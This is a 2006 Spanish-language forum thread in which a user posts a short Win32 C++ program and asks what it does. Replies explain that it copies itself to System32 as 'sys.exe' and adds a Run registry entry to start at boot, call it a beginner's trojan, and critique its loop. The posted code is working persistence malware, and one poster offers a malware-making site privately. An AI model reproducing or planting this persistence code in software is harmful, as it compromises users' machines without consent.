Foros del Web » Programación para mayores de 30 ;) » C/C++ »

¿Qué hace este programa en C++?

Estas en el tema de ¿Qué hace este programa en C++? en el foro de C/C++ en Foros del Web. ¿Qué hace este programa en C++? Código: #include <windows.h> char win[MAX_PATH]; char n [256]; int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) ...
  #1 (permalink)  
Antiguo 27/03/2006, 15:39
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
Pregunta ¿Qué hace este programa en C++?

¿Qué hace este programa en C++?

Código:
#include <windows.h>
char win[MAX_PATH]; 
char n [256];  
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)
{

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe,n,256); 
GetWindowsDirectory(win,sizeof(win)); 
strcat(win,"\\System32\\sys.exe"); 
SetErrorMode(SEM_FAILCRITICALERRORS); 
CopyFile(n,win,0); 
HKEY hkey; 
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"SYsTem",0,REG_SZ,(const unsigned char*)win,sizeof(win));
int i = 1;
do
{
Sleep(6000);                                  
}while(i != 0); 
return 0;
}
Abre el regedit, mete algo en el incio y ¿? ¿Deja hibernando la pc? ... sleep(6000)
  #2 (permalink)  
Antiguo 27/03/2006, 16:18
Avatar de TolaWare
Colaborador
 
Fecha de Ingreso: julio-2005
Mensajes: 4.352
Antigüedad: 18 años, 10 meses
Puntos: 24
mmm, la llamada a Sleep no hiberna al PC, duerme a este programa durante 6 segundos hasta que a la variable "i" le asignen 0, pero no veo como esta variable podrà ser modificada, de seguro esa porcion de codigo pretende que el programa se siga ejecutando hasta que apagues tu maquina o cierre forzosamente el mismo.
__________________
http://blog.tolaware.com.ar -> Blog de Java, Ruby y Linux
  #3 (permalink)  
Antiguo 28/03/2006, 06:48
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Es un maldito ejemplo de troyano para novatos de C++/Win32.

Lo que hace es copiarse a sí mismo en la carpeta system32 con el nombre "sys.exe", y poner en el registro que se autoejecute al iniciar Windows.

Luego, se queda esperando, o en su defecto, puedes poner el código para escuchar conexiones y controlar el PC.
  #4 (permalink)  
Antiguo 28/03/2006, 09:54
Avatar de TolaWare
Colaborador
 
Fecha de Ingreso: julio-2005
Mensajes: 4.352
Antigüedad: 18 años, 10 meses
Puntos: 24
por que es para novatos?
__________________
http://blog.tolaware.com.ar -> Blog de Java, Ruby y Linux
  #5 (permalink)  
Antiguo 28/03/2006, 10:56
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
Jeje.

Cita:
Iniciado por Tolaware
por que es para novatos?
Yo pregunto lo mismo.
  #6 (permalink)  
Antiguo 28/03/2006, 12:26
 
Fecha de Ingreso: noviembre-2003
Ubicación: Mexico
Mensajes: 1.081
Antigüedad: 20 años, 6 meses
Puntos: 7
Cita:
Iniciado por TolaWare
por que es para novatos?
porque cuando uno es experto, programas que no usen polimorfismo,multihilos, instrucciones en ASM y que sea de al menos de un millon de lineas son para novatos
  #7 (permalink)  
Antiguo 28/03/2006, 15:31
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Cita:
Iniciado por blackwind
porque cuando uno es experto, programas que no usen polimorfismo,multihilos, instrucciones en ASM y que sea de al menos de un millon de lineas son para novatos
Joe, no me refería a eso.

Es para novatos, porque es lo típico que aprende un newbie en programación que quiere hacer troyanos para Win32 a la 2ª semana de empezar a programar. Y lo que aprender es a poner una entrada en el registro con el nombre del programa, para que se ejecute nada más iniciar el sistema.

¿Por qué es inútil? (o sea, fácil, lo primero que hace un novato)
1. Necesitas ser administrador para realizar esos cambios.
2. Ningún usuario de Windows avanzado permitirá que haya nada en "CurrentVersion/Run".
3. Pocos ejecutan ya programas desconocidos expresamente.
4. etc...

Ejemplos como ese en Visual Basic 6 hay miles. Lo único raro ha sido verlo en C++ O.o

Como empiecen a enseñar a los n00bs/lamers (de la programación o no) a programar cosas cutres así en C++, abandono la programación xD, porque acabará siendo una especie de Visual Basic. Al tiempo.

En cualquier caso, quien haya escrito este código también deja que desear:

Código:
int i = 1;
do
{
	Sleep(6000);
}while(i != 0);
con lo sencillo que es

Código:
bool esperar = true;
while(esperar) Sleep(6000);
No sé por qué, pero el que escribiese el código de arriba parece que intentó "portar" un código de VB6 sin saber C/C++: "do..while" en vez de "while", que se puede escribir seguido sin {}...

Última edición por MaxExtreme; 28/03/2006 a las 15:40
  #8 (permalink)  
Antiguo 28/03/2006, 15:36
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
Jajajaja. Entonces el que lo hizo es newbie, lammer e imbecil.
  #9 (permalink)  
Antiguo 28/03/2006, 15:43
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Cita:
Iniciado por X.Cyclop
Jajajaja. Entonces el que lo hizo es newbie, lammer e imbecil.
No sé, ¿pero para qué andas mirando eso, pillín? ;)
  #10 (permalink)  
Antiguo 28/03/2006, 15:50
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
No se, lo encontré por allí y quise saber que era lo que hacía.
  #11 (permalink)  
Antiguo 28/03/2006, 16:43
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Cita:
Iniciado por X.Cyclop
No se, lo encontré por allí y quise saber que era lo que hacía.
Ya, ya, ahora di eso, que te hemos visto el plumero.
  #12 (permalink)  
Antiguo 28/03/2006, 17:57
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
Sí, es en serio. Yo si hago malware, hago gusanos buenos, como había dicho... detener el ventilador o cosas locas con Asm, no tonterías con C++.

Eso ni siquiera sirve para el que tenga el TeaTimer (del SpyBot) o el Ad-Watch (del Ad-Aware), apenas detectan un cambio en el registro y ya salen las mil alarmas, por eso digo que es una tontería.
  #13 (permalink)  
Antiguo 28/03/2006, 20:06
 
Fecha de Ingreso: enero-2006
Ubicación: mi casa
Mensajes: 255
Antigüedad: 18 años, 3 meses
Puntos: 0
Cita:
Iniciado por X.Cyclop
Sí, es en serio. Yo si hago malware, hago gusanos buenos, como había dicho... detener el ventilador o cosas locas con Asm, no tonterías con C++.

Sigue soñando amigo mío, sigue soñando...
procura no calificarte ante la gente ;-] a veces el querer insinuar saber mucho puede resultar contraproducente para los que en verdad si saben ;)


un saludo

PD: si quieres de verdad crear malware o dedicarte al research sobre esto y hacer de verdad "gusanos buenos" mandame un privado y te daré un sitio dedicado a eso.
  #14 (permalink)  
Antiguo 28/03/2006, 20:30
Avatar de X.Cyclop
Usuario baneado!
 
Fecha de Ingreso: diciembre-2005
Ubicación: México, D.F.
Mensajes: 1.328
Antigüedad: 18 años, 5 meses
Puntos: 0
Cita:
Iniciado por NightDark
Sigue soñando amigo mío, sigue soñando...
procura no calificarte ante la gente ;-] a veces el querer insinuar saber mucho puede resultar contraproducente para los que en verdad si saben ;)
Jajajaja, pero ¿sabes leer?. No me interesa el malware, no pienso aprender C, C++ y Asm para eso.


Cita:
PD: si quieres de verdad crear malware o dedicarte al research sobre esto y hacer de verdad "gusanos buenos" mandame un privado y te daré un sitio dedicado a eso.
No quiero, no me interesa.
  #15 (permalink)  
Antiguo 29/03/2006, 05:18
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años
Puntos: 74
Código:
for (;;)
{
  Sleep(6000);
}
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
  #16 (permalink)  
Antiguo 29/03/2006, 05:27
Avatar de TolaWare
Colaborador
 
Fecha de Ingreso: julio-2005
Mensajes: 4.352
Antigüedad: 18 años, 10 meses
Puntos: 24
Gracias por la respuesta Maxtremme
__________________
http://blog.tolaware.com.ar -> Blog de Java, Ruby y Linux
  #17 (permalink)  
Antiguo 29/03/2006, 06:52
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Cita:
Iniciado por Eternal Idol
Código:
for (;;)
{
  Sleep(6000);
}
Hombre, eso es un bucle infinito, y no cabe modificar la variables que lo maneja. Si puso la variable supongo que sería por algo, por ejemplo para salir del bucle (aunque también vale un break) modificándola en algún punto o desde fuera del programa, a saber, pero no creo que llegase a ser tan tonto como para creer que es necesario usarla en un bucle do..while, ¿no? O.o
  #18 (permalink)  
Antiguo 29/03/2006, 07:08
Avatar de Eternal Idol  
Fecha de Ingreso: mayo-2004
Ubicación: Lucentum
Mensajes: 6.192
Antigüedad: 20 años
Puntos: 74
Cita:
Iniciado por MaxExtreme
Hombre, eso es un bucle infinito, y no cabe modificar la variables que lo maneja. Si puso la variable supongo que sería por algo, por ejemplo para salir del bucle (aunque también vale un break) modificándola en algún punto o desde fuera del programa, a saber, pero no creo que llegase a ser tan tonto como para creer que es necesario usarla en un bucle do..while, ¿no? O.o
¿Y donde se modificaba esa variable? El programa esta completo y no crea ningun otro hilo.
¿Desde fuera del programa? Supongo que en ese ejemplo no exportaban la variable como obtener su direccion y cambiarle el valor desde otro proceso
__________________
¡Peron cumple, Evita dignifica! VIVA PERON CARAJO
  #19 (permalink)  
Antiguo 29/03/2006, 07:15
 
Fecha de Ingreso: abril-2005
Mensajes: 3.083
Antigüedad: 19 años, 1 mes
Puntos: 17
Cita:
Iniciado por Eternal Idol
¿Y donde se modificaba esa variable? El programa esta completo y no crea ningun otro hilo.
¿Desde fuera del programa? Supongo que en ese ejemplo no exportaban la variable como obtener su direccion y cambiarle el valor desde otro proceso
Sería el comienzo de un tutorial cutre, donde luego usarían la variable o algo.

O eso, o definitivamente el que escribió ese programa no tenía ni idea.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 00:26.